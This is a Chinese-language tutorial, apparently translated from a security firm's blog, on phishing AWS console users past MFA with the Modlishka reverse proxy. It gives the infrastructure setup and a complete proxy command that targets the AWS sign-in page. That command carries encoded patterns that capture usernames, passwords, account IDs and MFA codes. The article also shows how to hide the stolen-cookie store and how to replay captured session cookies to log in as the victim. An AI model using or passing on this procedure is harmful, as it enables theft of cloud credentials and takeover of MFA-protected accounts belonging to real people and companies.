在AWS上使用MFA釣魚用戶
網絡釣魚和MFA
社會工程是惡意攻擊者未經授權訪問其目標環境的最常見方式之一,它利用了所有公司最薄弱的點——人的因素。通常情況下,如果目標正在使用多因素認證(MFA),網絡釣魚活動就會失敗。然而,隨著防御變得越來越復雜,攻擊者及其方法也越來越復雜,這使得 MFA 幾乎沒有那么有效。
本文將介紹不同的開源選項,幫助針對使用 MFA 的目標和網站執行網絡釣魚攻擊。這篇文章,我們將針對 AWS IAM 用戶登錄,啟用(和不啟用)MFA 來演示這個概念。我們選擇使用 AWS 作為示例的另一個原因是,據我們所知,之前沒有發布過關于釣魚 AWS 用戶的研究,而 Rhino 的團隊已經在內部使用了一段時間。
MFA 網絡釣魚工具
有一些很棒的開源工具可用于執行 MFA 網絡釣魚活動,例如Evilginx2[1]、Modlishka[2]、Muraena[3]和CredSniper[4]。大多數工具都是在客戶端和攻擊者運行的服務器之間充當代理。
當攻擊目標連接攻擊者的服務器時,這個工具將充當受害人和攻擊者的釣魚網站的中間人,以此攻擊者可以向受害者提供有效的、動態的、看起來合法的網絡釣魚頁面,同時攔截正在進行的任何通信(例如登錄)。
到目前為止,這些工具都沒有 AWS 模板或與 AWS 相關的任何東西,因此我們決定使用 AWS 作為本文的概念驗證目標網站。我們選擇在這篇文章中使用 Modlishka,因為它易于設置和配置,并且在多域流量的透明代理方面做得很好。
網絡釣魚基礎設施的設置
基礎設備
- 使用帶有通配符的DNS來創建一個虛擬子域,并為釣魚頁面的登錄界面配置一個域名(例如“example.com”)。
- 配置相關證書(例如:"*.example.com"),可以通過Let's Encrypt[5]獲得。
- 運行該工具的服務器(公開可訪問,開放80和443端口)。
- 服務器上安裝了go語言環境。
- 有關為您的域設置的 DNS 記錄以及如何生成通配符 SSL 證書的簡短演練,您可以查看GitHub 上的Modlishka wiki[6]。
Modlishka 配置
1.要下載 Modlishka 源,您可以運行以下命令:
go get -u github.com/drk1wi/Modlishka
在編譯 Modlishka 之前,我們對源代碼進行了一些更改以提高安全性:
修改“Modlishka Cookie Jar”的默認 URL。(cookie jar 是受害者對我們的網絡釣魚頁面進行身份驗證后存儲憑據和 cookie 的地方。Modlishka 在 /plugin/control.go 中設置了 cookie jar 的默認路徑,即“/SayHello2Modlishka/”。為了防止其他攻擊者發現這一點,我們修改默認路徑為一個更加隱秘的目錄下。)
2.使用 Modlishka GitHub 存儲庫中的說明編譯二進制文件,編譯二進制文件后,我們必須確定配置的外觀,以便獲取受害者的信任。
./bin/proxy -cert `cat ./our-phishing-domain.com.cert.b64` \-certKey `cat ./our-phishing-domain.com.privkey.b64` \-trackingParam auth \-proxyDomain our-phishing-domain.com \-dynamicMode \-target target-account-alias.signin.aws.amazon.com \-listeningAddress 0.0.0.0 \-credParams dXNlcm5hbWU9KFteXFddKykm,KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik=,KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ==,KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop \-postOnly \-log aws.log
對相關參數/語句解析進行解析一下吧~
生成SSL 證書的 base64 編碼版本
cert cat ./our-phishing-domain.com.cert.b64
要使用的 SSL 證書的 base64 編碼版本,即“./our-phishing-domain.com.cert.b64”。
我們使用 Let's Encrypt 來生成這個證書,所以我們運行這個命令來獲取 base64 編碼的版本。
cat /etc/letsencrypt/live/our-phishing-domain.com/cert.pem | base64 –wrap=0 > ./our-phishing-domain.com.cert.b64
生成SSL 證書的 base64 編碼版本的私鑰
要使用的 SSL 私鑰的 base64 編碼版本。我們的位于“./our-phishing-domain.com.privkey.b64”。
我們使用 Let's Encrypt 來生成這個私鑰,所以我們運行這個命令來獲取 base64 編碼的版本:
at /etc/letsencrypt/live/our-phishing-domain.com/privkey.pem | base64 –wrap=0 > ./our-phishing-domain.com.privkey.b64
trackingParam身份驗證
用于跟蹤客戶端的參數名稱。它默認為“id”,但我們將其修改為查找“auth”。這有助于嘗試跟蹤您正在進行網絡釣魚的特定用戶。
listeningAddress 0.0.0.0
要偵聽的代理服務器的地址。默認在 localhost (127.0.0.1) 上。
credParams
dXNlcm5hbWU9KFteXFddKykm,KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik=,KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ==,KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop
要從身份驗證請求中提取的字段的 base64 編碼正則表達式。
postOnly
代表 Modlishka 僅記錄 HTTP POST 請求(而不是 GET 請求)。
log aws.log
用于存儲 Modlishka 登錄的本地文件,可以解析出cookie。
當我們運行命令時,我們訪問了我們的網絡釣魚域 (our-phishing-domain.com) 以查看一切是否正常。如果一切正常,我們將看到 AWS 網站的山寨版,如下圖所示:

釣魚演練
當受害者點擊我們發送的釣魚郵件中的鏈接后,他們將會跳轉到上圖所示的登錄頁面,實則為我們部署的釣魚網站。Modlishka 將為每個目標分配他們自己的唯一 ID,以便在他們在整個登錄過程中移動時跟蹤他們的會話、憑據和 cookie。
因為 Modlishka 只是將 AWS 釣魚頁面代理給我們的受害者,所以無論他們是否啟用了 MFA,它都可以對他們進行網絡釣魚。
獲取cookie
一旦用戶輸入他們的 MFA 代碼,Modlishka 就會運行并捕捉。它將使用網頁控制臺創建一個有效的登錄會話,存儲詳細信息,然后將目標用戶發送到實際的 AWS 網站并跳轉到其他頁面。
此時用戶的憑據和 cookie 將存儲在我們之前討論過的 cookie jar 中,結果如下圖:

模擬登錄
我們需要復制cookie并手動將它們輸入到瀏覽器中,我們編寫了一個腳本來解析 Modlishka 日志文件并將 cookie 輸出為 HTTP 響應標頭的格式(“Set-Cookie”)。
然后,我們將它們粘貼到 Burp Suite HTTP 響應中以將它們保存在本地。該腳本可以在我們的GitHub[7]上找到,運行命令為:
python3 parse_modlishka_aws_cookies.py [path to log file] [phishing domain]
此處,我使用的命令:
python3 parse_modlishka_aws_cookies.py ./aws.log our-phishing-domain.com
看到此響應后,您可以關閉 Burp 代理。然后,將重定向到如下頁面:

現在,您可以以該用戶身份瀏覽 AWS Web 控制臺,可以用受害者賬號執行的任何操作。會話將被視為經過 MFA 身份驗證的會話,因此您也可以使用任何需要 MFA 的權限。
參考鏈接
[1] Evilginx2:
https://github.com/kgretzky/evilginx2
[2] Modlishka:
https://github.com/drk1wi/Modlishka
[3] Muraena:
https://github.com/muraenateam/muraena
[4] CredSniper:
https://github.com/ustayready/CredSniper
[5] Let's Encrypt:
https://letsencrypt.org/
[6] Modlishka wiki:
https://github.com/drk1wi/Modlishka/wiki/How-to-use
[7] GitHub:
https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/mfa_phishing/parse_modlishka_aws_cookies.py